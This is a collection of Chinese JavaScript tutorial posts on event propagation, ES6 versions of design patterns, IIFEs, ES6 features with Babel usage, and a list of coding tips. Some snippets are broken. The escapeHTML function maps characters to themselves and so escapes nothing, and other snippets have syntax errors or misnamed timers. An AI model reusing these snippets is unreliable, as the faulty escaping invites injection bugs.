实际上我们点击的是textSpan，但是由于在捕获阶段事件就被阻止了传播，所以在textSpan上绑定的事件根本就没有发生，冒泡阶段绑定的事件自然也不会发生，因为阻止事件在捕获阶段传播的特性，e.stopPropagation()很少用到在捕获阶段去阻止事件的传播，大家就以为e.stopPropagation()只能阻止事件在冒泡阶段传播。

阻止事件的默认行为

e.preventDefault()可以阻止事件的默认行为发生，默认行为是指：点击a标签就转跳到其他页面、拖拽一个图片到浏览器会自动打开、点击表单的提交按钮会提交表单等等，因为有的时候我们并不希望发生这些事情，所以需要阻止默认行为，这块的知识比较简单，可以自己去试一下。

与事件相关的兼容性问题

这里只是简单提一下兼容性问题，不做过多的展开。对于绑定事件，ie低版本的浏览器是用attachEvent，而高版本ie和标准浏览器用的是addEventListener，attachEvent不能指定绑定事件发生在捕获阶段还是冒泡阶段，它只能将事件绑定到冒泡阶段，但是并不意味这低版本的ie没有事件捕获，它也是先发生事件捕获，再发生事件冒泡，只不过这个过程无法通过程序控制。

其实事件的兼容性问题特别的多，比如获取事件对象的方式、绑定和解除绑定事件的方式、目标元素的获取方式等等，由于古老的浏览器终究会被淘汰，不过多展开了。

欢迎关注【本期节目】，微信公众号ID：benqijiemu。
这里有：互联网思考、软件&工具推荐、前端技术等。
可以在公众号回复我，希望和大家一起交流所有与互联网相关的事情~



 用ES6重写《JavaScript Patterns》中的设计模式

作者：菜菜蔡伟

来源： 用ES6重写《JavaScript Patterns》中的设计模式



                    
前言


最近在回顾设计模式方式的知识，重新翻阅了《JavaScript模式》（个人感觉也算是一本小有名气的书了哈）一书，读时总有感触：在即将到来的ES6的大潮下，书中的许多模式的代码可用ES6的语法更为优雅简洁的实现，而另一些模式，则已经被ES6原生支持，如模块模式（99页）。所以自己动手用ES6重新实现了一遍里面的设计模式，算是对其的巩固，也算是与大家一起来研究探讨ES6语法的一些最佳实践。


目录


（以下所有例子的原型均为《JavaScript模式》一书里“设计模式”章节中的示例）



	单例模式

	迭代器模式

	工厂模式

	装饰者模式

	策略模式

	外观模式

	代理模式

	订阅/发布模式



代码repo地址，欢迎star，欢迎follow。


实现


单例模式


主要改变为使用了class的写法，使对象原型的写法更为清晰，更整洁：


js'use strict';
let __instance = (function () {
  let instance;
  return (newInstance) => {
    if (newInstance) instance = newInstance;
    return instance;
  }
}());

class Universe {
  constructor() {
    if (__instance()) return __instance();
    //按自己需求实例化
    this.foo = 'bar';
    __instance(this);
  }
}

let u1 = new Universe();
let u2 = new Universe();

console.log(u1.foo); //'bar'
console.log(u1 === u2); //true



迭代器模式


ES6原生提供的Iterator接口就是为这而生的啊，使用胖箭头函数写匿名函数（还顺带绑定了上下文，舒舒服服）：


js'use strict';
let agg = {
  data: [1, 2, 3, 4, 5],
  [Symbol.iterator](){
    let index = 0;
    return {
      next: () => {
        if (index < this.data.length) return {value: this.data[index++], done: false};
        return {value: undefined, done: true};
      },
      hasNext: () => index < this.data.length,
      rewind: () => index = 0,
      current: () => {
        index -= 1;
        if (index < this.data.length) return {value: this.data[index++], done: false};
        return {value: undefined, done: true};
      }
    }
  }
};

let iter = agg[Symbol.iterator]();
console.log(iter.next()); // { value: 1, done: false }
console.log(iter.next()); // { value: 2, done: false }
console.log(iter.current());// { value: 2, done: false }
console.log(iter.hasNext());// true
console.log(iter.rewind()); // rewind!
console.log(iter.next()); // { value: 1, done: false }

// for...of
for (let ele of agg) {
  console.log(ele);
}



工厂模式


个人感觉变化比较不大的一个：


js'use strict';
class CarMaker {
  constructor() {
    this.doors = 0;
  }

  drive() {
    console.log(`jaja, i have ${this.doors} doors`);
  }

  static factory(type) {
    return new CarMaker[type]();
  }
}

CarMaker.Compact = class Compact extends CarMaker {
  constructor() {
    super();
    this.doors = 4;
  }
};

CarMaker.factory('Compact').drive(); // 'jaja, i have 4 doors'



装饰者模式


for...of循环，新时代的for (var i = 0 ; i < arr.length ; i++)？ :


js'use strict';
class Sale {
  constructor(price) {
    [this.decoratorsList, this.price] = [[], price];
  }

  decorate(decorator) {
    if (!Sale[decorator]) throw new Error(`decorator not exist: ${decorator}`);
    this.decoratorsList.push(Sale[decorator]);
  }

  getPrice() {
    for (let decorator of this.decoratorsList) {
      this.price = decorator(this.price);
    }
    return this.price.toFixed(2);
  }

  static quebec(price) {
    return price + price * 7.5 / 100;
  }

  static fedtax(price) {
    return price + price * 5 / 100;
  }
}

let sale = new Sale(100);
sale.decorate('fedtax');
sale.decorate('quebec');
console.log(sale.getPrice()); //112.88



策略模式


对于传统的键值对，使用Map来代替对象(数组)来组织，感觉带来得是更好的语义和更方便的遍历：


js'use strict';
let data = new Map([['first_name', 'Super'], ['last_name', 'Man'], ['age', 'unknown'], ['username', 'o_O']]);
let config = new Map([['first_name', 'isNonEmpty'], ['age', 'isNumber'], ['username', 'isAlphaNum']]);

class Checker {
  constructor(check, instructions) {
    [this.check, this.instructions] = [check, instructions];
  }
}

class Validator {
  constructor(config) {
    [this.config, this.messages] = [config, []];
  }

  validate(data) {
    for (let [k, v] of data.entries()) {
      let type = this.config.get(k);
      let checker = Validator[type];
      if (!type) continue;
      if (!checker) throw new Error(`No handler to validate type ${type}`);
      let result = checker.check(v);
      if (!result) this.messages.push(checker.instructions + ` **${v}**`);
    }
  }

  hasError() {
    return this.messages.length !== 0;
  }
}

Validator.isNumber = new Checker((val) => !isNaN(val), 'the value can only be a valid number');
Validator.isNonEmpty = new Checker((val) => val !== "", 'the value can not be empty');
Validator.isAlphaNum = new Checker((val) => !/^a-z0-9/i.test(val), 'the value can not have special symbols');

let validator = new Validator(config);
validator.validate(data);
console.log(validator.messages.join('\n')); //the value can only be a valid number **unknown**



外观模式


这个简直没啥好变的。。。：


js'use strict';
let nextTick = (global.setImmediate == undefined) ? process.nextTick : global.setImmediate;



代理模式


利用extends关键字来获得父类中的方法引用以及和父类相同的类接口：


js'use strict';
class Real {
  doSomething() {
    console.log('do something...');
  }
}

class Proxy extends Real {
  constructor() {
    super();
  }

  doSomething() {
    setTimeout(super.doSomething, 1000 * 3);
  }
}

new Proxy().doSomething(); //after 3s ,do something...



订阅/发布模式


被Node原生的Events模块所支持，同样结合默认参数，for...of遍历等特性，代码的减少以及可读性的增加都是可观的：


js'use strict';
class Event {
  constructor() {
    this.subscribers = new Map([['any', []]]);
  }

  on(fn, type = 'any') {
    let subs = this.subscribers;
    if (!subs.get(type)) return subs.set(type, [fn]);
    subs.set(type, (subs.get(type).push(fn)));
  }

  emit(content, type = 'any') {
    for (let fn of this.subscribers.get(type)) {
      fn(content);
    }
  }
}

let event = new Event();

event.on((content) => console.log(`get published content: ${content}`), 'myEvent');
event.emit('jaja', 'myEvent'); //get published content: jaja



最后


以上所有代码均可通过Babel跑通，90%以上的代码可被当前版本的io.js(v2.0.2)跑通。


 js立即执行函数: (function ( ){...})( ) 与 (function ( ){...}( )) 有区别?

作者：风雨后见彩虹

来源： js立即执行函数: (function ( ){...})( ) 与 (function ( ){...}( )) 有区别?



                    
在SF上看到这样一个问题，我觉得问得很好，所以弄成文章收集了。

没有区别。

你需要明白 IIFE 的原理，我简单说一下：

function foo() {...}     // 这是定义，Declaration；定义只是让解释器知道其存在，但是不会运行。

foo();                   // 这是语句，Statement；解释器遇到语句是会运行它的。


IIFE 并非必须，传统一点可以这么写：

function foo() {...}
foo();


那么为什么要 IIFE？


	传统的方法啰嗦，定义和执行分开写；


	传统的方法直接污染全局命名空间（浏览器里的 global 对象，如 window）




于是，开发者们想找一个可以解决以上问题的写法。那么像下面这么写行不行呢？

function foo(...){}();


当然是不能，但是为什么呢？因为 function foo(...){} 这个部分只是一个声明，对于解释器来说，就好像你写了一个字符串 "function foo(...){}"，它需要使用解析函数，比如eval() 来执行它才可以。所以把 () 直接放在声明后面是不会执行，这是错误的语法。

如何把它变得正确？说起来也简单，只要把 声明 变成 表达式（Expression） 就可以了。

实际上转变表达式的办法还是很多的，最常见的办法是把函数声明用一对 () 包裹起来，于是就变成了：

(function foo() {...})    // 这里是故意换行，实际上可以和下面的括号连起来
();


这就等价于：

var foo = function () {...};    // 这就不是定义，而是表达式了。
foo();


但是之前我们说不行的那个写法，其实也可以直接用括号包起来，这也是一种等价的表达式：

(function foo(){...}());


所以答案是：木有区别～

另外，刚才说过转变表达式的方式很多，的确还有很多别的写法，比如：

!function foo() {...}();


或者

+function foo() {...}();


这些都可以。

我个人挺偏爱用 void 来转变表达式，因为此关键字不会有返回值。不过这一点真的没有什么要紧的，就当我“龟毛”好了……

void function () {
    // 这里是真正需要的代码
}();


OK，所谓不去污染全局命名空间，是因为 IIFE 创建了一个新的函数作用域，你真正的业务代码被封装在其中，自然就不会触碰到全局对象了。如果你需要全局对象，那就 pass 给 IIFE：

void function (global) {
    // 在这里，global 就是全局对象了
}(this)    // 在浏览器里，this 就是 window 对象


 ES6 走马观花

作者：meikidd

来源： ES6 走马观花



                    
广告招人：阿里巴巴招前端，在这里你可以享受大公司的福利和技术体系，也有小团队的挑战和成长空间。
联系： qingguang.meiqg at alibaba-inc.com



本文为 ES6 系列的第一篇。旨在给新同学一些指引，带大家走近 ES6。
简要介绍：


	什么是 ES6


	它有哪些“明星”特性


	它可以运行在哪些环境




What's ES6

ES6 or ECMAScript 2015 ?

ECMAScript 6（以下简称ES6）是JavaScript语言的下一代标准，已经在2015年6月正式发布了。

ECMA-262 标准 第6版。计划以后每年发布一次标准，使用年份作为标准的版本。因为当前版本是在2015年发布的，所以又称ECMAScript 2015。ECMA 的全称是 European Computer Manufacturers Association(欧洲计算机制造商协会)。ECMA-262 被 ISO 国际标准化组织采纳为 ISO/IEC 16262:2011

日常讨论的 JavaScript 通常还包括 DOM(文档对象模型)、BOM(浏览器对象模型)，而 ES6 不包含这些。

ES6 现状


	
主流框架全面转向 ES6


	Angular 2


	ReactJs


	koa






	兼容性 对比表格




Well-known Features

本节介绍一些广为人知的 ES6 “明星”特性，也就是讨论 ES6 时经常提及的一些新特性。当然 ES6 并不仅限于这些，还包括很多其他有用的特性，会在本系列的其他文章中介绍。

let and const

let 命令

原来的 javascript 中没有块级作用域，只有函数级作用域。ES6 中新增了 let 命令，使用 let 命令代替 var 命令声明变量，具有块级作用域。

	函数级作用域




function test() {
  var hello = 'world';
  console.log(hello);
}
test(); // 'world'
console.log(hello); // Error: hello is not defined

	块级作用域




var 命令

if(true) {
  var hello = 'world';
  console.log(hello); // 'world'
}
console.log(hello); // 'world'

let 命令

if(true) {
  let hello = 'world';
  console.log(hello); // 'world'
}
console.log(hello); // Error: hello is not defined

const 命令

使用 const 命令声明常量

const STATUS_NOT_FOUND = 404;

常量的值为只读，不能修改

STATUS_NOT_FOUND = 200;
// SyntaxError: "STATUS_NOT_FOUND" is read-only

Template String

	传统的字符串




var name = 'es6';

var sayhello = 'hello, \
my name is ' + name + '.';

console.log(sayhello); 

输出：

hello, my name is es6.

	ES6 模板字符串




var name = 'es6';

var sayhello = `hello,
my name is ${name}.`;

console.log(sayhello);

输出：

hello,
my name is es6.

空格和换行都会被保留



Arrow Function

允许使用 => 定义函数，箭头函数自动绑定当前上下文 this。

x => x+1

等同于匿名函数

function (x) {
  return x + 1;
}

	多个参数：




(a,b) => a+b

等同于

function (a, b) {
  return a + b;
}

	多行函数体：




(a,b) => {
    console.log(a + b);
    return a + b;
}

等同于

function (a, b) {
    console.log(a + b);
    return a + b;
}

Promise

原生的 Promise 实现，不再需要 bluebird 或 Q+。

Generator

Generator 生成器允许你通过写一个可以保存自己状态的的简单函数来定义一个迭代算法。和 Generator 一起出现的通常还有 yield。

Generator 是一种可以停止并在之后重新进入的函数。生成器的环境（绑定的变量）会在每次执行后被保存，下次进入时可继续使用。generator 字面上是“生成器”的意思，在 ES6 里是迭代器生成器，用于生成一个迭代器对象。

function *gen() {
    yield 'hello';
    yield 'world';
    return true;
}

以上代码定义了一个简单的 generator，看起来就像一个普通的函数，区别是function关键字后面有个*号，函数体内可以使用yield语句进行流程控制。

var iter = gen();
var a = iter.next();
console.log(a); // {value:'hello', done:false}
var b = iter.next();
console.log(b); // {value:'world', done:false}
var c = iter.next();
console.log(c); // {value:true, done:true}

当执行gen()的时候，并不执行 generator 函数体，而是返回一个迭代器 Iterator。迭代器具有 next() 方法，每次调用 next() 方法，函数就执行到yield语句的地方。next() 方法返回一个对象，其中value属性表示 yield 关键词后面表达式的值，done 属性表示是否遍历结束。generator 生成器通过 next 和 yield 的配合实现流程控制，上面的代码执行了三次 next() ，generator 函数体才执行完毕。

Class

在 JavaScript 中引入 OO 面向对象。实际上是语法糖，只是看上去更面向对象而已。也有观点极力反对 Class，认为 Class 隐藏了 JavaScript 本身原型链的语言特性，使其更难理解。

一半以上库是按 OO/class 方式写的，除了jQuery之外，几乎每个“严肃”的JS基础库都有一个Class实现，工具、IDE 更容易识别，JavaScript 引擎性能优化。---- johnhax

	ES5




function Point(x,y){
  this.x = x;
  this.y = y;
}

Point.prototype.toString = function () {
  return '(' + this.x + ', ' + this.y + ')';
}

	ES6




class Point {

  constructor(x, y) {
    this.x = x;
    this.y = y;
  }

  toString() {
    return '('+this.x+', '+this.y+')';
  }

}

Module

许多JS框架都会实现一套自己的 module/loader 机制。反复造轮子这也就罢了，更大的问题在于，这些轮子互相都是不兼容的。结果就造成了JS社区的分化和内耗，阻碍了JS库和组件在较细粒度上的竞争和发展，JS框架和库的切换成了强迫开发者做出非此即彼的选择。缺乏语言级别的 module，其恶果就是既没有足够的标准库，也很难像其他语言一样通过丛林法则发展出事实标准库。 ---- johnhax

社区主流解决方案有 CommonJS 和 AMD，分别用于服务器端和浏览器端，浏览器端还有 seajs 遵循的 CMD。

CommonJS

exports.firstName = 'mei';
exports.lastName = 'qingguang';
exports.year = 1988;

// or

module.exports = {
    firstName: 'mei',
    lastName: 'qingguang',
    year: 1988
}

// or

module.exports = function() {
    // do something
}

AMD

define(['./a', './b'], function(a, b) { // 依赖必须一开始就写好
    a.doSomething()
    // 此处略去 100 行
    b.doSomething()
    // ...
    
    exports.action = function() {};
}) 

CMD

define(function(require, exports, module) {
    var a = require('./a')
    a.doSomething()
    // 此处略去 100 行
    var b = require('./b') // 依赖可以就近书写
    b.doSomething()
    // ... 
    
    exports.action = function() {};
})

ES6 Module

	export 命令 和 import 命令




export var firstName = 'mei';
export var lastName = 'qingguang';
export var year = 1988;

import {firstName, lastName, year} from './profile'

console.log(firstName, lastName, year)

	模块整体输出




var firstName = 'mei';
var lastName = 'qingguang';
var year = 1988;

export {firstName, lastName, year};

import * as Profile from './profile'

console.log(Profile.firstName, Profile.lastName, Profile.year)

	export default 整体输出




export default function() {
    console.log('My name is mei qingguang');
};

import sayMyName from './profile' 

console.log(sayMyName())

Node.js 运行环境

可以在 Node.js 和 io.js 中使用部分 ES6 特性。Node.js 和 io.js 都是使用 V8 引擎作为 JavaScript 运行环境，io.js 集成了更高版本的 V8 引擎，因此可以比 Node.js 支持更多的 ES6 特性。

在 Node.js 中，需要使用 --harmony 参数开启 ES6 特性，包括所有已完成、待完成和修订中的特性。为了避免用到那些废弃的特性，可以通过加类似 --harmony_generators 参数开启特定的特性。

而在 io.js 中，所有已完成的稳定 ES6 特性都已经默认开启，不需要加任何运行时参数。而待完成和修订中的特性也可以通过特定的参数开启。

io.js 默认开启了以下 ES6 特性：


	
block scoping


	let


	const


	function-in-blocks






	Classes


	
Collections


	Map


	WeakMap


	Set


	WeakSet






	Generators


	Binary and Octal literals


	Object literal extensions


	Promises


	New String methods


	Symbols


	Template strings




编译器

有两个著名的编译器，能将 ES6 代码编译成 ES5 代码，本节只介绍 Babel。


	Babel


	Traceur




Babel

Babel 从根本上讲是一个平台，这是它与 compile-to-JS 语言 CoffeeScript 和 TypeScript 最大的不同。Babel 的插件系统允许开发者自定义代码转换器并插入到编译过程。Babel 还能提升 JavaScript 的执行速度，在编译时进行性能优化。

babel 命令

编译单个文件

babel script.js --out-file script-compiled.js

监听文件变化

babel script.js --watch --out-file script-compiled.js

编译整个文件夹

babel src --out-dir lib

使用 source map，方便调试

babel script.js --out-file script-compiled.js --source-maps

babel-node 命令

使用 babel-node 命令代替 node 命令，实时编译并执行 ES6 代码。不要在生产环境使用 babel-node 命令，它非常耗内存，并且会拖慢应用的性能。

node app.js

babel-node app.js

require hook

使用 require 钩子，可以让你的应用 require 模块时自动编译 ES6 代码。例如：

run.js

require('babel/register')
require('./app.js')

将 run.js 作为整个应用的入口，就可以在 app.js 和其他业务代码中编写 ES6 代码，当代码被 require 进来时，自动编译成 ES5 代码。

Learn a bit of ES6 daily

ES6 Katas


 JavaScript编程注意事项、技巧大全

作者：kidsamong

来源： JavaScript编程注意事项、技巧大全



                    
收藏自 JavaScript奇技淫巧45招


JavaScript是一个绝冠全球的编程语言，可用于Web开发、移动应用开发（PhoneGap、Appcelerator）、服务器端开发（Node.js和Wakanda）等等。JavaScript还是很多新手踏入编程世界的第一个语言。既可以用来显示浏览器中的简单提示框，也可以通过nodebot或nodruino来控制机器人。能够编写结构清晰、性能高效的JavaScript代码的开发人员，现如今已成了招聘市场最受追捧的人。


在这篇文章里，我将分享一些JavaScript的技巧、秘诀和最佳实践，除了少数几个外，不管是浏览器的JavaScript引擎，还是服务器端JavaScript解释器，均适用。


本文中的示例代码，通过了在Google Chrome 30最新版（V8 3.20.17.15）上的测试。


1、首次为变量赋值时务必使用var关键字


变量没有声明而直接赋值得话，默认会作为一个新的全局变量，要尽量避免使用全局变量。


2、使用===取代==


==和!=操作符会在需要的情况下自动转换数据类型。但===和!==不会，它们会同时比较值和数据类型，这也使得它们要比==和!=快。


[10] === 10    // is false
[10]  == 10    // is true
'10' == 10     // is true
'10' === 10    // is false
[]   == 0     // is true
[] ===  0     // is false
'' == false   // is true but true == "a" is false
'' === false  // is false



3、underfined、null、0、false、NaN、空字符串的逻辑结果均为false


4、行尾使用分号


实践中最好还是使用分号，忘了写也没事，大部分情况下JavaScript解释器都会自动添加。对于为何要使用分号，可参考文章JavaScript中关于分号的真相。


5、使用对象构造器


function Person(firstName, lastName){
    this.firstName =  firstName;
    this.lastName = lastName;
}
var Saad = new Person("Saad", "Mousliki");



6、小心使用typeof、instanceof和contructor


typeof：JavaScript一元操作符，用于以字符串的形式返回变量的原始类型，注意，typeof  null也会返回object，大多数的对象类型（数组Array、时间Date等）也会返回object

contructor：内部原型属性，可以通过代码重写

instanceof：JavaScript操作符，会在原型链中的构造器中搜索，找到则返回true，否则返回false


var arr = ["a", "b", "c"];
typeof arr;   // 返回 "object" 
arr instanceof Array // true
arr.constructor();  //[]



7、使用自调用函数


函数在创建之后直接自动执行，通常称之为自调用匿名函数（Self-Invoked Anonymous Function）或直接调用函数表达式（Immediately Invoked Function Expression ）。格式如下：


(function(){
    // 置于此处的代码将自动执行
})();  
(function(a,b){
    var result = a+b;
    return result;
})(10,20)



8、从数组中随机获取成员


var items = [12, 548 , 'a' , 2 , 5478 , 'foo' , 8852, , 'Doe' , 2145 , 119];
var  randomItem = items[Math.floor(Math.random() * items.length)];



9、获取指定范围内的随机数


这个功能在生成测试用的假数据时特别有数，比如介与指定范围内的工资数。


var x = Math.floor(Math.random() * (max - min + 1)) + min;



10、生成从0到指定值的数字数组


var numbersArray = [] , max = 100;
for( var i=1; numbersArray.push(i++) < max;);  // numbers = [1,2,3 ... 100]



11、生成随机的字母数字字符串


function generateRandomAlphaNum(len) {
    var rdmString = "";
    for( ; rdmString.length < len; rdmString  += Math.random().toString(36).substr(2));
    return  rdmString.substr(0, len);
}



12、打乱数字数组的顺序


var numbers = [5, 458 , 120 , -215 , 228 , 400 , 122205, -85411];
numbers = numbers.sort(function(){ return Math.random() - 0.5});
/* numbers 数组将类似于 [120, 5, 228, -215, 400, 458, -85411, 122205]  */



这里使用了JavaScript内置的数组排序函数，更好的办法是用专门的代码来实现（如Fisher-Yates算法），可以参见StackOverFlow上的这个讨论。


13、字符串去空格


Java、C#和PHP等语言都实现了专门的字符串去空格函数，但JavaScript中是没有的，可以通过下面的代码来为String对象函数一个trim函数：


String.prototype.trim = function(){return this.replace(/^\s+|\s+$/g, "");};



新的JavaScript引擎已经有了trim()的原生实现。


14、数组之间追加


var array1 = [12 , "foo" , {name "Joe"} , -2458];
var array2 = ["Doe" , 555 , 100];
Array.prototype.push.apply(array1, array2);
/* array1 值为  [12 , "foo" , {name "Joe"} , -2458 , "Doe" , 555 , 100] */



15、对象转换为数组


var argArray = Array.prototype.slice.call(arguments);



16、验证是否是数字


function isNumber(n){
    return !isNaN(parseFloat(n)) && isFinite(n);
}



17、验证是否是数组


function isArray(obj){
    return Object.prototype.toString.call(obj) === '[object Array]' ;
}



但如果toString()方法被重写过得话，就行不通了。也可以使用下面的方法：


Array.isArray(obj); // its a new Array method



如果在浏览器中没有使用frame，还可以用instanceof，但如果上下文太复杂，也有可能出错。


var myFrame = document.createElement('iframe');
document.body.appendChild(myFrame);
var myArray = window.frames[window.frames.length-1].Array;
var arr = new myArray(a,b,10); // [a,b,10]  
// myArray 的构造器已经丢失，instanceof 的结果将不正常
// 构造器是不能跨 frame 共享的
arr instanceof Array; // false



18、获取数组中的最大值和最小值


var  numbers = [5, 458 , 120 , -215 , 228 , 400 , 122205, -85411]; 
var maxInNumbers = Math.max.apply(Math, numbers); 
var minInNumbers = Math.min.apply(Math, numbers);



19、清空数组


var myArray = [12 , 222 , 1000 ];  
myArray.length = 0; // myArray will be equal to [].



20、不要直接从数组中delete或remove元素


如果对数组元素直接使用delete，其实并没有删除，只是将元素置为了undefined。数组元素删除应使用splice。


切忌：


var items = [12, 548 ,'a' , 2 , 5478 , 'foo' , 8852, , 'Doe' ,2154 , 119 ]; 
items.length; // return 11 
delete items[3]; // return true 
items.length; // return 11 
/* items 结果为 [12, 548, "a", undefined × 1, 5478, "foo", 8852, undefined × 1, "Doe", 2154, 119] */



而应：


var items = [12, 548 ,'a' , 2 , 5478 , 'foo' , 8852, , 'Doe' ,2154 , 119 ]; 
items.length; // return 11 
items.splice(3,1) ; 
items.length; // return 10 
/* items 结果为 [12, 548, "a", 5478, "foo", 8852, undefined × 1, "Doe", 2154, 119]
删除对象的属性时可以使用delete。



21、使用length属性截断数组


前面的例子中用length属性清空数组，同样还可用它来截断数组：


var myArray = [12 , 222 , 1000 , 124 , 98 , 10 ];  
myArray.length = 4; // myArray will be equal to [12 , 222 , 1000 , 124].



与此同时，如果把length属性变大，数组的长度值变会增加，会使用undefined来作为新的元素填充。length是一个可写的属性。


myArray.length = 10; // the new array length is 10 
myArray[myArray.length - 1] ; // undefined



22、在条件中使用逻辑与或


var foo = 10;  
foo == 10 && doSomething(); // is the same thing as if (foo == 10) doSomething(); 
foo == 5 || doSomething(); // is the same thing as if (foo != 5) doSomething();



逻辑或还可用来设置默认值，比如函数参数的默认值。


function doSomething(arg1){ 
    arg1 = arg1 || 10; // arg1 will have 10 as a default value if it’s not already set
}



23、使得map()函数方法对数据循环


var squares = [1,2,3,4].map(function (val) {  
    return val * val;  
}); 
// squares will be equal to [1, 4, 9, 16]



24、保留指定小数位数


var num =2.443242342;
num = num.toFixed(4);  // num will be equal to 2.4432



注意，toFixec()返回的是字符串，不是数字。


25、浮点计算的问题


0.1 + 0.2 === 0.3 // is false 
9007199254740992 + 1 // is equal to 9007199254740992
9007199254740992 + 2 // is equal to 9007199254740994



为什么呢？因为0.1+0.2等于0.30000000000000004。JavaScript的数字都遵循IEEE 754标准构建，在内部都是64位浮点小数表示，具体可以参见JavaScript中的数字是如何编码的.


可以通过使用toFixed()和toPrecision()来解决这个问题。


26、通过for-in循环检查对象的属性


下面这样的用法，可以防止迭代的时候进入到对象的原型属性中。


for (var name in object) {  
    if (object.hasOwnProperty(name)) { 
        // do something with name
    }  
}



27、逗号操作符


var a = 0; 
var b = ( a++, 99 ); 
console.log(a);  // a will be equal to 1 
console.log(b);  // b is equal to 99



28、临时存储用于计算和查询的变量


在jQuery选择器中，可以临时存储整个DOM元素。


var navright = document.querySelector('#right'); 
var navleft = document.querySelector('#left'); 
var navup = document.querySelector('#up'); 
var navdown = document.querySelector('#down');



29、提前检查传入isFinite()的参数


isFinite(0/0) ; // false
isFinite("foo"); // false
isFinite("10"); // true
isFinite(10);   // true
isFinite(undefined);  // false
isFinite();   // false
isFinite(null);  // true，这点当特别注意



30、避免在数组中使用负数做索引


var numbersArray = [1,2,3,4,5];
var from = numbersArray.indexOf("foo") ;  // from is equal to -1
numbersArray.splice(from,2);    // will return [5]



注意传给splice的索引参数不要是负数，当是负数时，会从数组结尾处删除元素。


31、用JSON来序列化与反序列化


var person = {name :'Saad', age : 26, department : {ID : 15, name : "R&D"} };
var stringFromPerson = JSON.stringify(person);
/* stringFromPerson 结果为 "{"name":"Saad","age":26,"department":{"ID":15,"name":"R&D"}}"   */
var personFromString = JSON.parse(stringFromPerson);
/* personFromString 的值与 person 对象相同  */



32、不要使用eval()或者函数构造器


eval()和函数构造器（Function consturctor）的开销较大，每次调用，JavaScript引擎都要将源代码转换为可执行的代码。


var func1 = new Function(functionCode);
var func2 = eval(functionCode);



33、避免使用with()


使用with()可以把变量加入到全局作用域中，因此，如果有其它的同名变量，一来容易混淆，二来值也会被覆盖。


34、不要对数组使用for-in


避免：


var sum = 0;  
for (var i in arrayNumbers) {  
    sum += arrayNumbers[i];  
}



而是：


var sum = 0;  
for (var i = 0, len = arrayNumbers.length; i < len; i++) {  
    sum += arrayNumbers[i];  
}



另外一个好处是，i和len两个变量是在for循环的第一个声明中，二者只会初始化一次，这要比下面这种写法快：


for (var i = 0; i < arrayNumbers.length; i++)



35、传给setInterval()和setTimeout()时使用函数而不是字符串


如果传给setTimeout()和setInterval()一个字符串，他们将会用类似于eval方式进行转换，这肯定会要慢些，因此不要使用：


setInterval('doSomethingPeriodically()', 1000);  
setTimeout('doSomethingAfterFiveSeconds()', 5000);



而是用：


setInterval(doSomethingPeriodically, 1000);  
setTimeout(doSomethingAfterFiveSeconds, 5000);



36、使用switch/case代替一大叠的if/else


当判断有超过两个分支的时候使用switch/case要更快一些，而且也更优雅，更利于代码的组织，当然，如果有超过10个分支，就不要使用switch/case了。


37、在switch/case中使用数字区间


其实，switch/case中的case条件，还可以这样写：


function getCategory(age) {  
    var category = "";  
    switch (true) {  
        case isNaN(age):  
            category = "not an age";  
            break;  
        case (age >= 50):  
            category = "Old";  
            break;  
        case (age <= 20):  
            category = "Baby";  
            break;  
        default:  
            category = "Young";  
            break;  
    };  
    return category;  
}  
getCategory(5);  // 将返回 "Baby"



38、使用对象作为对象的原型


下面这样，便可以给定对象作为参数，来创建以此为原型的新对象：


function clone(object) {  
    function OneShotConstructor(){}; 
    OneShotConstructor.prototype = object;  
    return new OneShotConstructor(); 
} 
clone(Array).prototype ;  // []



39、HTML字段转换函数


function escapeHTML(text) {  
    var replacements= {"<": "<", ">": ">","&": "&", "\"": """};                      
    return text.replace(/[<>&"]/g, function(character) {  
        return replacements[character];  
    }); 
}



40、不要在循环内部使用try-catch-finally


try-catch-finally中catch部分在执行时会将异常赋给一个变量，这个变量会被构建成一个运行时作用域内的新的变量。


切忌：


var object = ['foo', 'bar'], i;  
for (i = 0, len = object.length; i <len; i++) {  
    try {  
        // do something that throws an exception 
    }  
    catch (e) {   
        // handle exception  
    } 
}



而应该：


var object = ['foo', 'bar'], i;  
try { 
    for (i = 0, len = object.length; i <len; i++) {  
        // do something that throws an exception 
    } 
} 
catch (e) {   
    // handle exception  
}



41、使用XMLHttpRequests时注意设置超时


XMLHttpRequests在执行时，当长时间没有响应（如出现网络问题等）时，应该中止掉连接，可以通过setTimeout()来完成这个工作：


var xhr = new XMLHttpRequest (); 
xhr.onreadystatechange = function () {  
    if (this.readyState == 4) {  
        clearTimeout(timeout);  
        // do something with response data 
    }  
}  
var timeout = setTimeout( function () {  
    xhr.abort(); // call error callback  
}, 60*1000 /* timeout after a minute */ ); 
xhr.open('GET', url, true);  
xhr.send();



同时需要注意的是，不要同时发起多个XMLHttpRequests请求。


42、处理WebSocket的超时


通常情况下，WebSocket连接创建后，如果30秒内没有任何活动，服务器端会对连接进行超时处理，防火墙也可以对单位周期没有活动的连接进行超时处理。


为了防止这种情况的发生，可以每隔一定时间，往服务器发送一条空的消息。可以通过下面这两个函数来实现这个需求，一个用于使连接保持活动状态，另一个专门用于结束这个状态。


var timerID = 0; 
function keepAlive() { 
    var timeout = 15000;  
    if (webSocket.readyState == webSocket.OPEN) {  
        webSocket.send('');  
    }  
    timerId = setTimeout(keepAlive, timeout);  
}  
function cancelKeepAlive() {  
    if (timerId) {  
        cancelTimeout(timerId);  
    }  
}



keepAlive()函数可以放在WebSocket连接的onOpen()方法的最后面，cancelKeepAlive()放在onClose()方法的最末尾。


43、时间注意原始操作符比函数调用快，使用VanillaJS


比如，一般不要这样：


var min = Math.min(a,b); 
A.push(v);



可以这样来代替：


var min = a < b ? a : b; 
A[A.length] = v;



44、开发时注意代码结构，上线前检查并压缩JavaScript代码


可以使用JSLint或JSMin等工具来检查并压缩代码。
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前言

大家好，小弟飞狐，爱学习，爱装逼，乐于分享，初来乍到，请多多关照(～ o ～)~zZ。出道几年，对JavaScript情有独钟，聊技术之前，啰嗦啰嗦，虽然咱们都系程序猿，但是一定要多锻炼，跑跑步，爬爬山虾米的，身体系革命的本钱。

另外，个人觉得JavaScript是很文艺的一门语言，文艺范儿会更适合这门语言（个人观点，不喜勿喷），JS基础学习资料在网上非常多，所以我们这里从JS面向对象开始（注：需要一（zha）定（shi）的JS基础），本系列作为JavaScript扩展读物（有讲错的地方，欢迎大家指出），又扯了这么多，这回真的来进入正题了：

JS数据类型介绍


	ECMAScript的数据类型值分为基本类型值和引用类型值。


	用typeof操作符来判断类型，当然如何准确判断类型，后面还会聊到。


	Function特别注意一下，函数在ECMAScript中是对象，不是一种数据类型，这可是JS世界的一等公民。


